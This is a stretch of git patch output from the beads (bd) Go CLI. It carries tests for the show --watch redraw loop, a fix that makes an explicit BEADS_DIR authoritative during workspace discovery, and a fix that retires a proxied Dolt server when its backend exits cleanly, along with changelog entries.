{ + initial *types.Issue + polls []watchPoll + renders int + // rendersAtFetch records the render count as each poll starts, i.e. the + // result of the poll before it. Written only on the loop's goroutine and + // read after the loop returns. + rendersAtFetch []int +} + +func (s *scriptedWatchSource) source() issueWatchSource { + return issueWatchSource{ + render: func(context.Context) *types.Issue { + s.renders++ + return s.initial + }, + fetch: func(context.Context) (*types.Issue, error) { + s.rendersAtFetch = append(s.rendersAtFetch, s.renders) + next := s.polls[0] + s.polls = s.polls[1:] + return next.issue, next.err + }, + } +} + +// driveWatchLoop runs the loop over src for every scripted poll, stops it, and +// returns whether it reported watching plus everything it wrote to stderr. +func driveWatchLoop(t *testing.T, src *scriptedWatchSource) (bool, string) { + t.Helper() + polls := len(src.polls) + var watched bool + stderr := captureStderr(t, func() { + tick := make(chan time.Time) + stop := make(chan os.Signal, 1) + done := make(chan bool) + go func() { done <- watchIssueLoop(context.Background(), src.source(), tick, stop) }() + // tick is unbuffered, so each send lands only once the loop is back in + // its select, i.e. after the previous poll (and any redraw) finished. + for range polls { + tick <- time.Time{} + } + stop <- os.Interrupt + watched = <-done + }) + return watched, stderr +} + +// TestWatchIssueLoopRedrawsOnlyOnSnapshotChange pins the redraw rule both +// `bd show --watch` routes share: an unchanged snapshot or a failed read does +// not redraw, a status or updated_at change does, and stop ends the loop. +func TestWatchIssueLoopRedrawsOnlyOnSnapshotChange(t *testing.T) { + base := time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + open := &types.Issue{ID: "w-1", Status: types.StatusOpen, UpdatedAt: base} + sameAgain := &types.Issue{ID: "w-1", Status: types.StatusOpen, UpdatedAt: base} + inProgress := &types.Issue{ID: "w-1", Status: types.StatusInProgress, UpdatedAt: base.Add(time.Second)} + touched := &types.Issue{ID: "w-1", Status: types.StatusInProgress, UpdatedAt: base.Add(2 * time.Second)} + + src := &scriptedWatchSource{ + initial: open, + polls: []watchPoll{ + {issue: sameAgain}, + {err: errors.New("backend blip")}, + {issue: inProgress}, + {issue: inProgress}, + {issue: touched}, + }, + } + watched, _ := driveWatchLoop(t, src) + if !watched { + t.Fatal("watchIssueLoop reported nothing watched after a successful render") + } + // Poll order: unchanged, failed read, status change, unchanged, + // updated_at change. + if want := []int{1, 1, 1, 2, 2}; !slices.Equal(src.rendersAtFetch, want) { + t.Fatalf("renders before each poll = %v, want %v", src.rendersAtFetch, want) + } + if src.renders != 3 { + t.Fatalf("renders = %d, want 3 (initial, status change, updated_at change)", src.renders) + } +} + +// TestWatchIssueLoopFailedPollsStayQuiet pins the poll-failure rule both routes +// share: a poll that fails (a deleted issue, a unit of work that will not open) +// keeps the last render and prints nothing, however many ticks it lasts, and a +// later successful poll with a change redraws as usual. The proxied route used +// to print an error line — under --json, an error object — on every tick. +func TestWatchIssueLoopFailedPollsStayQuiet(t *testing.T) { + base := time.Date(2026, 1, 2, 3, 4, 5, 0, time.UTC) + open := &types.Issue{ID: "w-2", Status: types.StatusOpen, UpdatedAt: base} + closed := &types.Issue{ID: "w-2", Status: types.StatusClosed, UpdatedAt: base.Add(time.Second)} + + src := &scriptedWatchSource{ + initial: open, + polls: []watchPoll{ + {err: errors.New("issue w-2 not found")}, + {err: errors.New("open unit of work: connection refused")}, + {err: errors.New("issue w-2 not found")}, + {issue: closed}, + }, + } + watched, stderr := driveWatchLoop(t, src) + if !watched { + t.Fatal("watchIssueLoop reported nothing watched after a successful render") + } + if strings.Contains(stderr, "not found") || strings.Contains(stderr, "connection refused") || strings.Contains(stderr, "Error") { + t.Fatalf("failed polls printed to stderr:\n%s", stderr) + } + // Initial banner, the redraw's banner after the recovery, and the stop line. + if got := strings.Count(stderr, "Watching for changes..."); got != 2 { + t.Fatalf("banner printed %d times, want 2 (initial + one redraw):\n%s", got, stderr) + } + if src.renders != 2 { + t.Fatalf("renders = %d, want 2 (initial, redraw after recovery)", src.renders) + } +} + +// TestWatchIssueLoopStopsWhenNothingToWatch pins that a failed initial render +// returns at once rather than polling an issue that was never shown. +func TestWatchIssueLoopStopsWhenNothingToWatch(t *testing.T) { + src := issueWatchSource{ + render: func(context.Context) *types.Issue { return nil }, + fetch: func(context.Context) (*types.Issue, error) { + t.Fatal("fetch called after a failed initial render") + return nil, nil + }, + } + if watchIssueLoop(context.Background(), src, make(chan time.Time), make(chan os.Signal)) { + t.Fatal("watchIssueLoop reported watching after a failed initial render") + } +} From 51a7c8e324217a25a97301d303862d1f6865f869 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 02:26:09 -0700 Subject: [PATCH 225/624] fix(beads): make an explicit BEADS_DIR authoritative during discovery (#6938) * fix(beads): make an explicit BEADS_DIR authoritative during discovery FindBeadsDir ignored a BEADS_DIR that did not hold project files yet (missing, empty, or uninitialized) and walked up from the current directory instead. PersistentPreRun then rebound BEADS_DIR to whatever ancestor workspace the walk found, so: - `bd init` refused with "already initialized" because of the parent workspace instead of initializing the named directory; - data commands (`bd list`, `bd create`, ...) read and wrote the parent's store. FindBeadsDir now returns "" for such a BEADS_DIR, matching FindDatabasePath, which already refused to fall back. Commands that create a workspace (import/setup default path, bootstrap's fresh-clone synthesis) target the named directory via the new beads.ExplicitBeadsDir helper instead of CWD. Behaviour with BEADS_DIR unset is unchanged. Tests: FindBeadsDir unit cases (missing/empty/non-project BEADS_DIR, initialized BEADS_DIR, unset BEADS_DIR still walks up), and a bd subprocess regression in embedded and proxied-server modes (init under an initialized parent, list refuses, create lands in the new store). Co-Authored-By: Claude Opus 5.5 * docs(changelog): note that BEADS_DIR at a project root now errors Review follow-up for the explicit-BEADS_DIR fix: call out the behaviour change for BEADS_DIR pointing at a project root (or a not-yet-created .beads), which previously worked only because discovery walked up. Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 --- CHANGELOG.md | 18 +++ cmd/bd/BUILD.bazel | 1 + cmd/bd/bootstrap.go | 4 +- .../init_explicit_beads_dir_embedded_test.go | 146 ++++++++++++++++++ cmd/bd/main.go | 5 + internal/beads/BUILD.bazel | 1 + internal/beads/beads.go | 31 +++- internal/beads/explicit_beads_dir_test.go | 116 ++++++++++++++ 8 files changed, 314 insertions(+), 8 deletions(-) create mode 100644 cmd/bd/init_explicit_beads_dir_embedded_test.go create mode 100644 internal/beads/explicit_beads_dir_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index de2322b56..c336272f1 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -9,6 +9,24 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **An explicit `BEADS_DIR` is authoritative during workspace discovery.** + When `BEADS_DIR` named a directory without project files yet (missing, + empty, or not initialized), discovery ignored it and walked up from the + current directory instead, then rebound `BEADS_DIR` to whatever ancestor + workspace it found. `bd init` refused with "already initialized" because of + the parent workspace, and data commands such as `bd create` and `bd list` + read and wrote the parent's store. Discovery now reports no workspace for + such a `BEADS_DIR`, so `bd init` initializes the named directory and other + commands fail with "no beads database found". `bd import`/`bd setup` and + `bd bootstrap` target the named directory when they create a workspace. + Behaviour with `BEADS_DIR` unset is unchanged. **Behaviour change:** a + `BEADS_DIR` that points at a project root rather than its `.beads` + directory (for example `BEADS_DIR=$repo` instead of `BEADS_DIR=$repo/.beads`), + or at a `.beads` that does not exist yet, used to work by accident because + discovery walked up to the nearest workspace; it now fails with "no beads + database found". Point `BEADS_DIR` at the `.beads` directory itself. + ([#6938](https://github.com/gastownhall/beads/pull/6938)) + - **A proxied workspace's proxy retires when its Dolt backend exits cleanly.** The proxy noticed its `dolt sql-server` child exiting only when the exit status was non-zero. A backend that shut down gracefully (for diff --git a/cmd/bd/BUILD.bazel b/cmd/bd/BUILD.bazel index 41a214a1d..96a4ff73e 100644 --- a/cmd/bd/BUILD.bazel +++ b/cmd/bd/BUILD.bazel @@ -791,6 +791,7 @@ go_test( "init_cancel_e2e_test.go", "init_commit_test.go", "init_embedded_test.go", + "init_explicit_beads_dir_embedded_test.go", "init_gateway_test.go", "init_git_bootstrap_routing_test.go", "init_guard_test.go", diff --git a/cmd/bd/bootstrap.go b/cmd/bd/bootstrap.go index 0c9f4e05f..f361dc980 100644 --- a/cmd/bd/bootstrap.go +++ b/cmd/bd/bootstrap.go @@ -190,7 +190,9 @@ Examples: if isGitRepo() && !isBareGitRepo() { if originURL, err := gitOriginGetURL(); err == nil && originURL != "" { if gitOriginHasDoltDataRef() { - if fallbackDir := beads.GetWorktreeFallbackBeadsDir(); fallbackDir != "" { + if explicitDir := beads.ExplicitBeadsDir(); explicitDir != "" { + beadsDir = explicitDir + } else if fallbackDir := beads.GetWorktreeFallbackBeadsDir(); fallbackDir != "" { beadsDir = fallbackDir } else { cwd, err := os.Getwd() diff --git a/cmd/bd/init_explicit_beads_dir_embedded_test.go b/cmd/bd/init_explicit_beads_dir_embedded_test.go new file mode 100644 index 000000000..c6bae6f68 --- /dev/null +++ b/cmd/bd/init_explicit_beads_dir_embedded_test.go @@ -0,0 +1,146 @@ +//go:build cgo + +package main + +import ( + "bytes" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/configfile" + "github.com/steveyegge/beads/internal/storage/dbproxy/proxy" +) + +// explicitBeadsDirMode describes how a storage mode's bd subprocesses are +// initialized and run for the explicit-BEADS_DIR regression tests. +type explicitBeadsDirMode struct { + initArgs []string + env func(home string) []string + proxied bool +} + +// runExplicitBeadsDirBD runs bd in dir with the mode's isolated environment. +// beadsDir, when non-empty, is passed as an explicit BEADS_DIR. +func runExplicitBeadsDirBD(t *testing.T, bd string, mode explicitBeadsDirMode, home, dir, beadsDir string, args ...string) (string, string, error) { + t.Helper() + cmd := exec.Command(bd, args...) + cmd.Dir = dir + env := append(mode.env(home), "XDG_CONFIG_HOME="+filepath.Join(home, ".config")) + if beadsDir != "" { + env = append(env, "BEADS_DIR="+beadsDir) + } + cmd.Env = env + var stdout, stderr bytes.Buffer + cmd.Stdout = &stdout + cmd.Stderr = &stderr + err := cmd.Run() + return stdout.String(), stderr.String(), err +} + +// testExplicitBeadsDirIsAuthoritative covers the regression where an explicit +// BEADS_DIR without project files was ignored during discovery: bd walked up +// from CWD, bound the parent workspace, and `bd init` then refused ("already +// initialized") while data commands read and wrote the parent's store. +func testExplicitBeadsDirIsAuthoritative(t *testing.T, bd string, mode explicitBeadsDirMode) { + t.Helper() + home := t.TempDir() + parent := t.TempDir() + initGitRepoAt(t, parent) + parentBeadsDir := filepath.Join(parent, ".beads") + child := filepath.Join(parent, "child") + explicit := filepath.Join(child, ".beads") + if err := os.MkdirAll(child, 0o755); err != nil { + t.Fatal(err) + } + if mode.proxied { + for _, root := range []string{filepath.Join(parentBeadsDir, "dolt"), filepath.Join(explicit, "dolt")} { + root := root + t.Cleanup(func() { + if _, err := os.Stat(root); err != nil { + return + } + if err := proxy.Shutdown(root); err != nil { + t.Logf("proxy.Shutdown(%s): %v", root, err) + } + }) + shutdownProxyOnInterrupt(t, root) + } + } + + initArgs := append([]string{"init", "--quiet", "--non-interactive", "--skip-agents", "--skip-hooks"}, mode.initArgs...) + if stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", append(initArgs, "--prefix", "par")...); err != nil { + t.Fatalf("parent bd init: %v\nstdout:\n%s\nstderr:\n%s", err, stdout, stderr) + } + parentID, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", "create", "--silent", "parent issue") + if err != nil { + t.Fatalf("parent bd create: %v\nstderr:\n%s", err, stderr) + } + parentID = strings.TrimSpace(parentID) + + // A data command against the uninitialized explicit dir must not fall + // back to the parent workspace. + stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, "list", "--json") + if err == nil || strings.Contains(stdout, parentID) { + t.Errorf("bd list with BEADS_DIR=%s (no workspace yet) should fail without reading the parent store; err=%v\nstdout:\n%s\nstderr:\n%s", explicit, err, stdout, stderr) + } else if !strings.Contains(stderr, "no beads database found") { + t.Errorf("bd list with an uninitialized BEADS_DIR: want \"no beads database found\", got stderr:\n%s", stderr) + } + + // bd init must initialize the explicit dir (existing but empty, as a + // caller that pre-creates it would leave it), not refuse because of the + // parent workspace. + if err := os.MkdirAll(explicit, 0o755); err != nil { + t.Fatal(err) + } + if stdout, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, append(initArgs, "--prefix", "kid")...); err != nil { + t.Fatalf("bd init with BEADS_DIR=%s: %v\nstdout:\n%s\nstderr:\n%s", explicit, err, stdout, stderr) + } + childCfg, err := configfile.Load(explicit) + if err != nil || childCfg == nil { + t.Fatalf("load %s metadata: cfg=%v err=%v", explicit, childCfg, err) + } + if childCfg.DoltDatabase != "kid" { + t.Fatalf("explicit BEADS_DIR dolt_database = %q, want %q", childCfg.DoltDatabase, "kid") + } + parentCfg, err := configfile.Load(parentBeadsDir) + if err != nil || parentCfg == nil || parentCfg.DoltDatabase != "par" { + t.Fatalf("parent metadata changed: cfg=%+v err=%v", parentCfg, err) + } + + // Writes through the explicit dir land in the new workspace only. + childID, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, child, explicit, "create", "--silent", "child issue") + if err != nil { + t.Fatalf("bd create with BEADS_DIR=%s: %v\nstderr:\n%s", explicit, err, stderr) + } + childID = strings.TrimSpace(childID) + if !strings.HasPrefix(childID, "kid-") { + t.Fatalf("bd create with BEADS_DIR=%s minted %q, want a kid- ID", explicit, childID) + } + parentList, stderr, err := runExplicitBeadsDirBD(t, bd, mode, home, parent, "", "list", "--json") + if err != nil { + t.Fatalf("parent bd list: %v\nstderr:\n%s", err, stderr) + } + if strings.Contains(parentList, childID) || !strings.Contains(parentList, parentID) { + t.Fatalf("parent store should hold only %s, got:\n%s", parentID, parentList) + } +} + +func TestEmbeddedInitExplicitBeadsDirIsAuthoritative(t *testing.T) { + if os.Getenv("BEADS_TEST_EMBEDDED_DOLT") != "1" { + t.Skip("set BEADS_TEST_EMBEDDED_DOLT=1 to run embedded dolt init tests") + } + t.Parallel() + testExplicitBeadsDirIsAuthoritative(t, buildEmbeddedBD(t), explicitBeadsDirMode{env: bdEnv}) +} + +func TestProxiedServerInitExplicitBeadsDirIsAuthoritative(t *testing.T) { + requireProxiedServerEnv(t) + testExplicitBeadsDirIsAuthoritative(t, buildEmbeddedBD(t), explicitBeadsDirMode{ + initArgs: []string{"--proxied-server"}, + env: bdProxiedEnv, + proxied: true, + }) +} diff --git a/cmd/bd/main.go b/cmd/bd/main.go index 4911641df..ca260ffca 100644 --- a/cmd/bd/main.go +++ b/cmd/bd/main.go @@ -1465,6 +1465,11 @@ var rootCmd = &cobra.Command{ // would create a local database instead of using the redirect target. // (GH#bd-0qel) targetBeadsDir := beads.FindBeadsDir() + if targetBeadsDir == "" { + // An explicit BEADS_DIR is authoritative even + // before it holds project files. + targetBeadsDir = beads.ExplicitBeadsDir() + } if targetBeadsDir == "" { targetBeadsDir = ".beads" } diff --git a/internal/beads/BUILD.bazel b/internal/beads/BUILD.bazel index a131f0370..a70952f1f 100644 --- a/internal/beads/BUILD.bazel +++ b/internal/beads/BUILD.bazel @@ -32,6 +32,7 @@ go_test( "beads_test.go", "context_test.go", "cwd_priority_test.go", + "explicit_beads_dir_test.go", "fingerprint_test.go", "routing_integration_test.go", "sqlite_database_path_test.go", diff --git a/internal/beads/beads.go b/internal/beads/beads.go index 7113d75dd..ff04a75a9 100644 --- a/internal/beads/beads.go +++ b/internal/beads/beads.go @@ -892,11 +892,26 @@ func hasBeadsDatabase(beadsDir string) bool { return false } +// ExplicitBeadsDir returns the .beads directory named by the BEADS_DIR +// environment variable, canonicalized and with any redirect followed, or "" +// when BEADS_DIR is unset. Unlike FindBeadsDir it does not require the +// directory to exist or to hold project files, so commands that create a +// workspace can target the caller's explicit choice instead of CWD. +func ExplicitBeadsDir() string { + beadsDir := os.Getenv("BEADS_DIR") + if beadsDir == "" { + return "" + } + return FollowRedirect(canonicalizeBeadsDirPath(beadsDir)) +} + // FindBeadsDir finds the .beads/ directory in the current directory tree. // Returns empty string if not found. // // Resolution order: -// 1. BEADS_DIR environment variable (highest priority) +// 1. BEADS_DIR environment variable (highest priority). An explicit +// BEADS_DIR is authoritative: when it does not (yet) hold project files, +// FindBeadsDir returns "" instead of discovering some other workspace. // 2. Walk up from CWD toward repo root boundary, checking each directory // for .beads/ with valid project files. For worktrees, stops at the // worktree root; for non-worktrees, stops at the git root. @@ -911,18 +926,20 @@ func hasBeadsDatabase(beadsDir string) bool { // contents are used as the actual .beads directory path. func FindBeadsDir() string { // 1. Check BEADS_DIR environment variable (preferred) - if beadsDir := os.Getenv("BEADS_DIR"); beadsDir != "" { - absBeadsDir := canonicalizeBeadsDirPath(beadsDir) - - // Follow redirect if present - absBeadsDir = FollowRedirect(absBeadsDir) - + if absBeadsDir := ExplicitBeadsDir(); absBeadsDir != "" { if info, err := os.Stat(absBeadsDir); err == nil && info.IsDir() { // Validate directory contains actual project files if hasBeadsProjectFiles(absBeadsDir) { return absBeadsDir } } + + // The caller named this directory explicitly. Walking up from CWD + // here would bind an unrelated ancestor workspace (and PersistentPreRun + // would then rewrite BEADS_DIR to it), so `bd init` and every other + // command would act on the wrong store. Report "not found" instead, + // matching FindDatabasePath. + return "" } // 2. Walk up from CWD toward the repo root, checking each directory for .beads/. diff --git a/internal/beads/explicit_beads_dir_test.go b/internal/beads/explicit_beads_dir_test.go new file mode 100644 index 000000000..527be25c9 --- /dev/null +++ b/internal/beads/explicit_beads_dir_test.go @@ -0,0 +1,116 @@ +package beads + +import ( + "os" + "os/exec" + "path/filepath" + "testing" +) + +// explicitBeadsDirFixture builds a git repo whose root holds an initialized +// workspace (parent/.beads with metadata.json) and a child directory that has +// not been initialized yet. It chdirs into the child, so an unconstrained walk +// up from CWD would bind the parent workspace. +func explicitBeadsDirFixture(t *testing.T) (parentBeadsDir, childDir string) { + t.Helper() + root := t.TempDir() + cmd := exec.Command("git", "init", "--quiet", root) + cmd.Env = append(os.Environ(), "GIT_CONFIG_NOSYSTEM=1", "HOME="+root, "XDG_CONFIG_HOME="+root) + if out, err := cmd.CombinedOutput(); err != nil { + t.Skipf("git not available: %v: %s", err, out) + } + parentBeadsDir = filepath.Join(root, ".beads") + if err := os.MkdirAll(parentBeadsDir, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(parentBeadsDir, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"parent"}`), 0o600); err != nil { + t.Fatal(err) + } + childDir = filepath.Join(root, "child") + if err := os.MkdirAll(childDir, 0o700); err != nil { + t.Fatal(err) + } + t.Chdir(childDir) + return parentBeadsDir, childDir +} + +// TestFindBeadsDir_ExplicitBEADS_DIRIsAuthoritative verifies that an explicit +// BEADS_DIR which does not (yet) hold project files is never replaced by a +// workspace discovered by walking up from CWD. Before the fix, FindBeadsDir +// silently fell back to the ancestor walk, so every command — including +// `bd init` after PersistentPreRun rebinds BEADS_DIR — targeted the parent +// workspace instead of the directory the caller named. +func TestFindBeadsDir_ExplicitBEADS_DIRIsAuthoritative(t *testing.T) { + cases := []struct { + name string + setup func(t *testing.T, explicit string) + }{ + {name: "missing", setup: func(*testing.T, string) {}}, + {name: "empty", setup: func(t *testing.T, explicit string) { + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + }}, + {name: "non-project files only", setup: func(t *testing.T, explicit string) { + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(explicit, "registry.json"), []byte("[]"), 0o600); err != nil { + t.Fatal(err) + } + }}, + } + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + parentBeadsDir, childDir := explicitBeadsDirFixture(t) + explicit := filepath.Join(childDir, ".beads") + tc.setup(t, explicit) + t.Setenv("BEADS_DIR", explicit) + + if got := FindBeadsDir(); got != "" { + t.Fatalf("FindBeadsDir() = %q with BEADS_DIR=%q; want \"\" (explicit BEADS_DIR must not fall back to the ancestor workspace %q)", got, explicit, parentBeadsDir) + } + if got := FindDatabasePath(); got != "" { + t.Fatalf("FindDatabasePath() = %q with BEADS_DIR=%q; want \"\"", got, explicit) + } + }) + } +} + +// TestFindBeadsDir_ExplicitBEADS_DIRSelectedOnceInitialized verifies the +// explicit directory is returned as soon as it holds project files, even with +// an initialized ancestor workspace. +func TestFindBeadsDir_ExplicitBEADS_DIRSelectedOnceInitialized(t *testing.T) { + _, childDir := explicitBeadsDirFixture(t) + explicit := filepath.Join(childDir, ".beads") + if err := os.MkdirAll(explicit, 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(explicit, "metadata.json"), []byte(`{"backend":"dolt","dolt_database":"child"}`), 0o600); err != nil { + t.Fatal(err) + } + t.Setenv("BEADS_DIR", explicit) + + got, _ := filepath.EvalSymlinks(FindBeadsDir()) + want, _ := filepath.EvalSymlinks(explicit) + if got != want { + t.Fatalf("FindBeadsDir() = %q; want explicit BEADS_DIR %q", got, want) + } +} + +// TestFindBeadsDir_UnsetBEADS_DIRStillWalksUp pins the unchanged behaviour +// when BEADS_DIR is not set: discovery walks up from CWD to the ancestor +// workspace. +func TestFindBeadsDir_UnsetBEADS_DIRStillWalksUp(t *testing.T) { + parentBeadsDir, _ := explicitBeadsDirFixture(t) + t.Setenv("BEADS_DIR", "") + if err := os.Unsetenv("BEADS_DIR"); err != nil { + t.Fatal(err) + } + + got, _ := filepath.EvalSymlinks(FindBeadsDir()) + want, _ := filepath.EvalSymlinks(parentBeadsDir) + if got != want { + t.Fatalf("FindBeadsDir() = %q; want ancestor workspace %q", got, want) + } +} From b2faf48e84e259af6234fd8e4dafff376e80b498 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 29 Sep 2026 01:48:15 -0700 Subject: [PATCH 226/624] fix(dbproxy): retire the proxy when its Dolt backend exits cleanly (#6937) * fix(dbproxy): retire the proxy when its Dolt backend exits cleanly DoltServer supervised `dolt sql-server` with cmd.Wait inside an errgroup, and Running read the errgroup context. errgroup cancels that context only for a non-nil result, so a backend that shut down gracefully (dolt exits 0 on SIGTERM) was reported as running forever. The proxy's backend health watcher never fired: the proxy stayed up and adoptable in front of a dead store. With --proxied-server-idle-timeout 0 (the setting Gas City uses) it never went away; `bd dolt status` said "running" and every command, `bd ping` included, failed until `bd dolt stop`. The supervising goroutine now reports a clean exit as errBackendExited, so Running flips on any backend exit and Stop treats it as benign. This follows the existing proxied lifecycle contract (child death retires the owned proxy; the next bd invocation starts a fresh proxy/backend pair) rather than adding in-proxy restarts: spawn, adoption, stop epochs and identity already live in the on-demand start path, and a second restart loop inside the proxy would duplicate that and could mask a crash-looping backend. `bd dolt status` no longer headlines a proxy whose managed backend is gone as "running"; it says the proxy is up but not serving and points at `bd dolt stop` (for proxies from an older bd). The JSON payload is unchanged. `bd ping` already verifies by running SELECT 1 through the proxy, so after this fix a successful ping reflects a live pair. Tests: DoltServer Running goes false after SIGTERM (clean exit) and SIGKILL, and Stop succeeds; managed-local lane test that SIGTERMs the backend with idle timeout 0 and requires the proxy to retire and `bd ping --json` to succeed on a fresh pair; status render case. Co-Authored-By: Claude Opus 5.5 * fix(dolt status): report running=false for a proxy over a dead managed backend Review follow-up: the JSON running field now means "serving" (a live proxy and, on a managed topology, a live dolt behind it), so scripts that key off running alone are not fooled by a stranded proxy left by an older bd. proxy_pid/proxy_port and backend_* are unchanged. Adds the PR link to the CHANGELOG entry. Co-Authored-By: Claude Opus 5.5 * docs(changelog): resolve merge markers left by the origin/main merge Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Gas City Adopt-PR Co-authored-by: Claude Opus 5.5 (cherry picked from commit d803ec9126028a76124c81ee90ca8068a1c744df) hand-resolved: .github/workflows/proxied-local-smoke.yml: the hotfix's lifecycle-test list differs in order and content, so TestManagedLocalProxiedBackendCleanExitRetiresProxy was appended to the hotfix list. CHANGELOG entry placed under the hotfix's [Unreleased] ### Fixed; cmd/bd/BUILD.bazel and internal/storage/dbproxy/server/BUILD.bazel dropped (no Bazel on hotfix/1.3.1). --- .github/workflows/proxied-local-smoke.yml | 3 +- CHANGELOG.md | 13 ++++ cmd/bd/dolt_proxied_lifecycle.go | 35 +++++++-- cmd/bd/dolt_proxied_lifecycle_test.go | 40 +++++++++++ cmd/bd/proxied_local_backend_exit_test.go | 71 +++++++++++++++++++ internal/storage/dbproxy/server/doltserver.go | 14 +++- .../server/doltserver_exit_unix_test.go | 64 +++++++++++++++++ 7 files changed, 231 insertions(+), 9 deletions(-) create mode 100644 cmd/bd/proxied_local_backend_exit_test.go create mode 100644 internal/storage/dbproxy/server/doltserver_exit_unix_test.go diff --git a/.github/workflows/proxied-local-smoke.yml b/.github/workflows/proxied-local-smoke.yml index 7033f3faa..047f1aa6e 100644 --- a/.github/workflows/proxied-local-smoke.yml +++ b/.github/workflows/proxied-local-smoke.yml @@ -119,7 +119,8 @@ jobs: TestManagedLocalProxiedCapabilityMatrix \ TestManagedLocalProxiedBackupRoundTrip \ TestManagedLocalProxiedAutoBackup \ - TestManagedLocalProxiedBackupRestoreRefusedWhileAttached + TestManagedLocalProxiedBackupRestoreRefusedWhileAttached \ + TestManagedLocalProxiedBackendCleanExitRetiresProxy do if ! grep -qx "$test_name" <<<"$listed"; then echo "managed-local lifecycle test $test_name is missing; got: '$listed'" >&2 diff --git a/CHANGELOG.md b/CHANGELOG.md index 827c55fe9..f046b0281 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -126,6 +126,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed +- **A proxied workspace's proxy retires when its Dolt backend exits + cleanly.** The proxy noticed its `dolt sql-server` child exiting only when + the exit status was non-zero. A backend that shut down gracefully (for + example on SIGTERM) left the proxy up and adoptable in front of a dead store: + with `--proxied-server-idle-timeout 0` it never went away, `bd dolt status` + called it running, and every command failed until `bd dolt stop`. The proxy + now retires on any backend exit, as it already did on a crash, so the next bd + command (including `bd ping`) starts a fresh proxy and backend. `bd dolt + status` no longer reports a proxy whose managed backend is gone as running: + the text says "not serving" and the JSON reports `running: false` (with + `proxy_pid` still set), including for a stranded proxy started by an older + bd. ([#6937](https://github.com/gastownhall/beads/pull/6937)) + - **`bd show --watch` works under `--proxied-server`.** It was refused with `proxy.watch.unsupported` although the provider can answer the poll the way `bd list --watch` already does, so every proxied workspace — the default diff --git a/cmd/bd/dolt_proxied_lifecycle.go b/cmd/bd/dolt_proxied_lifecycle.go index 31b7db6cb..28d06357f 100644 --- a/cmd/bd/dolt_proxied_lifecycle.go +++ b/cmd/bd/dolt_proxied_lifecycle.go @@ -43,9 +43,12 @@ func proxiedDoltStartRefusal() *ProxyCapabilityError { // proxiedDoltStatus is the `bd dolt status --json` payload for a proxied // workspace. It reports the two processes separately because they fail -// separately and an operator's next move differs: Running describes the proxy, -// which is the endpoint every bd command connects through, while the Backend* -// fields describe the dolt server behind it. +// separately and an operator's next move differs: Running says whether the +// workspace is serving (a live proxy, and on a managed topology a live dolt +// behind it), Proxy* describe the proxy every bd command connects through, and +// the Backend* fields describe the dolt server behind it. A proxy left in front +// of a dead managed backend (possible with proxies started by an older bd) +// therefore reports running=false with proxy_pid still set. type proxiedDoltStatus struct { Mode string `json:"mode"` Root string `json:"root"` @@ -98,9 +101,17 @@ func collectProxiedDoltStatus(beadsDir string) (proxiedDoltStatus, error) { status.BackendEndpoint = externalDoltEndpoint(*info.External) } } + status.Running = proxiedStatusServing(live.ProxyRunning, status.BackendManaged, status.BackendRunning) return status, nil } +// proxiedStatusServing reports whether a proxied workspace is serving: its +// proxy is live and, when bd manages the backend, that dolt server is live +// too. A proxy in front of a dead managed backend serves nothing. +func proxiedStatusServing(proxyRunning, backendManaged, backendRunning bool) bool { + return proxyRunning && (!backendManaged || backendRunning) +} + func externalDoltEndpoint(cfg configfile.ExternalDoltConfig) string { if cfg.Socket != "" { return "unix:" + cfg.Socket @@ -116,11 +127,20 @@ func renderProxiedDoltStatus(status proxiedDoltStatus) { return } - if status.Running { + // A live proxy in front of a managed backend that is gone serves nothing, + // so do not call it running. The proxy retires itself once it notices + // the backend exit; a proxy from an older bd may not. + backendDown := !status.Running && status.ProxyPID != 0 && status.BackendManaged && !status.BackendRunning + switch { + case backendDown: + fmt.Printf("Dolt server: not serving (%s): proxy is up but its dolt backend is not running\n", status.Mode) + fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) + fmt.Printf(" Proxy port: %d\n", status.ProxyPort) + case status.Running: fmt.Printf("Dolt server: running (%s)\n", status.Mode) fmt.Printf(" Proxy PID: %d\n", status.ProxyPID) fmt.Printf(" Proxy port: %d\n", status.ProxyPort) - } else { + default: fmt.Printf("Dolt server: not running (%s)\n", status.Mode) } fmt.Printf(" Root: %s\n", status.Root) @@ -135,9 +155,12 @@ func renderProxiedDoltStatus(status proxiedDoltStatus) { if status.IdleTimeout != "" { fmt.Printf(" Idle timeout: %s\n", status.IdleTimeout) } - if !status.Running { + if !status.Running && !backendDown { fmt.Println(" The proxy starts on demand; the next bd command launches it.") } + if backendDown { + fmt.Println(" Run 'bd dolt stop' to retire the proxy; the next bd command starts a fresh proxy and backend.") + } if isDoltLocalOnly() { fmt.Println(" Remote sync: disabled (dolt.local-only=true)") } diff --git a/cmd/bd/dolt_proxied_lifecycle_test.go b/cmd/bd/dolt_proxied_lifecycle_test.go index d12f87d0b..aa31c22e6 100644 --- a/cmd/bd/dolt_proxied_lifecycle_test.go +++ b/cmd/bd/dolt_proxied_lifecycle_test.go @@ -151,6 +151,28 @@ func TestRenderProxiedDoltStatus(t *testing.T) { } }) + t.Run("text does not call a proxy over a dead managed backend running", func(t *testing.T) { 